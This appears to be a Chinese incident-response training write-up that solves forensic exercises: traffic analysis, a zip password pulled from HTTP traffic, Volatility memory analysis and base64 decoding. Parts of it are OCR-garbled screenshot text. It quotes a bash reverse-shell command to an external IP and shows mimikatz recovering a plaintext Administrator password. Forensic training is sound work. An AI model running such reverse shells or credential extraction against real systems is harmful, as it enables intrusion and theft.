一、应急响应工程师特训班结业典礼

1. 实操题目详解



bash -i >& /dev/tcp/158.247.240.30/18999 0>&1 flag{158.247.240.30_18999}

(2) zip_crack

提取zip

與ZIP								
104 31.4		158.24/.240.30	192.108.13/.138	TCP	/4	TOOL		
105 31.4		192.168.137.138		TCP		50624		
106 31.4		192.168.137.138		TCP		50624		
107 31.4		192.168.137.138		HTTP		P0ST		
108 31.4		158.247.240.30	192.168.137.138	TCP	74	10016	5 →	50
109 31.4		192.168.137.138		Expand Subtrees			→	10
110 31.5	527412	158.247.240.30	192.168.137.1	折叠子树			7	56
111 31.5	27413	158.247.240.30	192.168.137.1	全部展开			-	56
112 31.5	30541	158.247.240.30	192.168.137.1	全部折叠			→	50
113 31.5	30543	158.247.240.30	192.168.137.1				1.	1 2
114 31.5	30633	192.168.137.138	158.247.240.3	应用为列	↔	1#4	→	1
115 33.8	311688	192.168.137.138	158.247.240.3	作为过滤器应用		•	→	1
Frame 107	654 bytes on wi	re (5232 bits),	654 hytes cant	准备作为过滤器		•	4b	a
	•			对话过滤器		•	5 C	
Ethernet II, Src: Apple_0b:89:fc (f0:2f:4b:0b:89:fc), Ds This is a production of the production of						•	67	2
Transmiss	追踪流	•						
		s (1361 bytes):	#40C(772) #40	- u. ı			49	
	Transfer Protoco		#100(775), #10	复制		•	4b dc	
* *		sulation, Type:	multipart/form	显示分组字节	↔	O#4	00	0
	multipart/form-d	78-	导出分组字节流		жx	67		
		ebKitFormBoundary	vz1S9vP2pDo3fi				00 01	
> Encapsulated multipart part:								
Boundary: \r\nWebKitFormBoundaryz1S9yP2pDo3fjso 过滤器字段参考							00 0a	
		part: (applicat		协议首选项		, , , , , , , , , , , , , , , , , , ,	5d	4
CO. III. 6		(V)	Harris Town I and Harris Co.	4777 Y			70	
Contact Times and identical (sin) all all all				解码为			5e	
∨ Media				转至链接的分组	L / \ / \		56 22	
	, ·	ation/zip (192 b	vtes)	在新窗口中显示已链接的	分组		51	
		KitFormBoundaryz:		r\n	0530	0 74		_
	lated multipart	•	13391 2pb031 J 302 (\(\(\)	0540	0 39	79	
		WebKitFormBound	daryz150yD2nDa2f	ico2\r\n				
rast no	unuary. \r\li	MEDICTULOLIIIDOULIC	uai yz 139yrzpuusi	302 (1 (11	Fran	me (654	1 byt	es


请输入"	1.zip"的密码。		
密码:	8	1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	
		取消	好


GET /zip_password.txt HTTP/1.1 Host: 158.247.240.30:10016 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signe d-exchange; v=b3; q=0.7Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,la;q=0.8,en;q=0.7 Cookie: PHPSESSID=rt6c3dnbg8lc2fjgq44vss9671; security=low HTTP/1.1 200 0K Date: Tue, 24 Oct 2023 07:41:27 GMT Server: Apache/2.4.10 (Debian) Last-Modified: Tue, 24 Oct 2023 07:18:16 GMT ETag: "d-6087124801352" Accept-Ranges: bytes Content-Length: 13 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain yijingwangan

解压,得到flag.txt flag{q3t43tgf45v5hg5y9ca134}

(3)被偷走的文件

导出flag.rar





python2 vol.py -f ../mem.dump imageinfo

python2 vol.py -f ../mem.dump -profile=Win7SP1x64 pslist

p)	, т.тотттааттр	p. 00			po					
0xfffffa800ea9ab10	rundll32.exe	2968	2620	6	611	1	:	1 2019-11-13	08:32:02	UTC+0000
0xfffffa800e8b59c0	WmiPrvSE.exe	2764	608	11	316	0	(0 2019-11-13	08:32:13	UTC+0000
0xfffffa800ea75b10	cmd.exe	2260	2316	1	20	1	(0 2019-11-13	08:33:45	UTC+0000
0xfffffa800e687330	conhost.exe	2632	404	2	63	1	(0 2019-11-13	08:33:45	UTC+0000
0xfffffa800e41db10	WmiApSrv.exe	2792	500	4	113	0	(0 2019-11-13	08:34:27	UTC+0000
0xfffffa800ed68840	CnCrypt.exe	1608	2316	4	115	1	:	1 2019-11-13	08:34:40	UTC+0000
0xfffffa800e4a5b10	audiodg.exe	2100	768	6	130	0	(0 2019-11-13	08:39:29	UTC+0000
0xfffffa800ea57b10	DumpIt.exe	1072	2316	1	26	1	:	1 2019-11-13	08:39:43	UTC+0000
0xfffffa800ea1c060	conhost.exe	2748	404	2	62	1	(0 2019-11-13	08:39:43	UTC+0000

python2 vol.py -f ../mem.dump -profile=Win7SP1x64 cmdscan

得到提示,flag.ccx文件的密码和Administrator用户密码一样

python2 vol.py -f ../mem.dump -profile=Win7SP1x64 mimikatz

```
# python2 vol.py -f ../mem.dump --profile=Win7SP1x64 mimikatz

Volatility Foundation Volatility Framework 2.6.1

Module User Domain Password

wdigest Administrator USER-027N6483CQ ABCabc123

wdigest USER-027N6483CQ$ WORKGROUP
```

python2 vol.py -f ../mem.dump -profile=Win7SP1x64 filescan | grep "flag.ccx"

```
# python2 vol.py -f ../mem.dump --profile=Win7SP1x64 filescan | grep "flag.ccx"

Volatility Foundation Volatility Framework 2.6.1

0x000000003e435890 15 0 R--rw- \Device\HarddiskVolume2\Users\Administrator\Desktop\flag.ccx

python2 vol.py -f ../mem.dump --profile=Win7SP1x64 filescan | grep "flag.ccx"

# python2 vol.py -f ../mem.dump --profile=Win7SP1x64 dumpfiles -Q 0x000000003e435890 -D ./

Volatility Foundation Volatility Framework 2.6.1


DataSectionObject 0x3e435890 None \Device\HarddiskVolume2\Users\Administrator\Desktop\flag.ccx

(root@ kali)-[/home/kali/volatility]

# ls *.dat
file.None.0xfffffa800e4651a0.dat

mv file.None.0xfffffa800e4651a0.dat flag.ccx
```

发现存在 CnCrypt.exe 进程,尝试使用 CnCrypt 打开 flag.ccx




(5)流量中的线索

- 1.wireshark打开 pcapng 文件
- 2.过滤搜索http
- 3.发现通过get方法请求了fenxi.php

- 4.通过查看请求响应,可以发现经过base64加密的内容
- 5.提取响应数据
- 6.解密 https://cyberchef.org/

去除 \n, 然后base64解密,即可得到图片,flag就在图片上



https://tools.nololiyt.top/tools/979da122-6257-d8bd-494a-e16132adeae2.html

2. 应急响应课程整体回顾

3. 网络安全进阶发展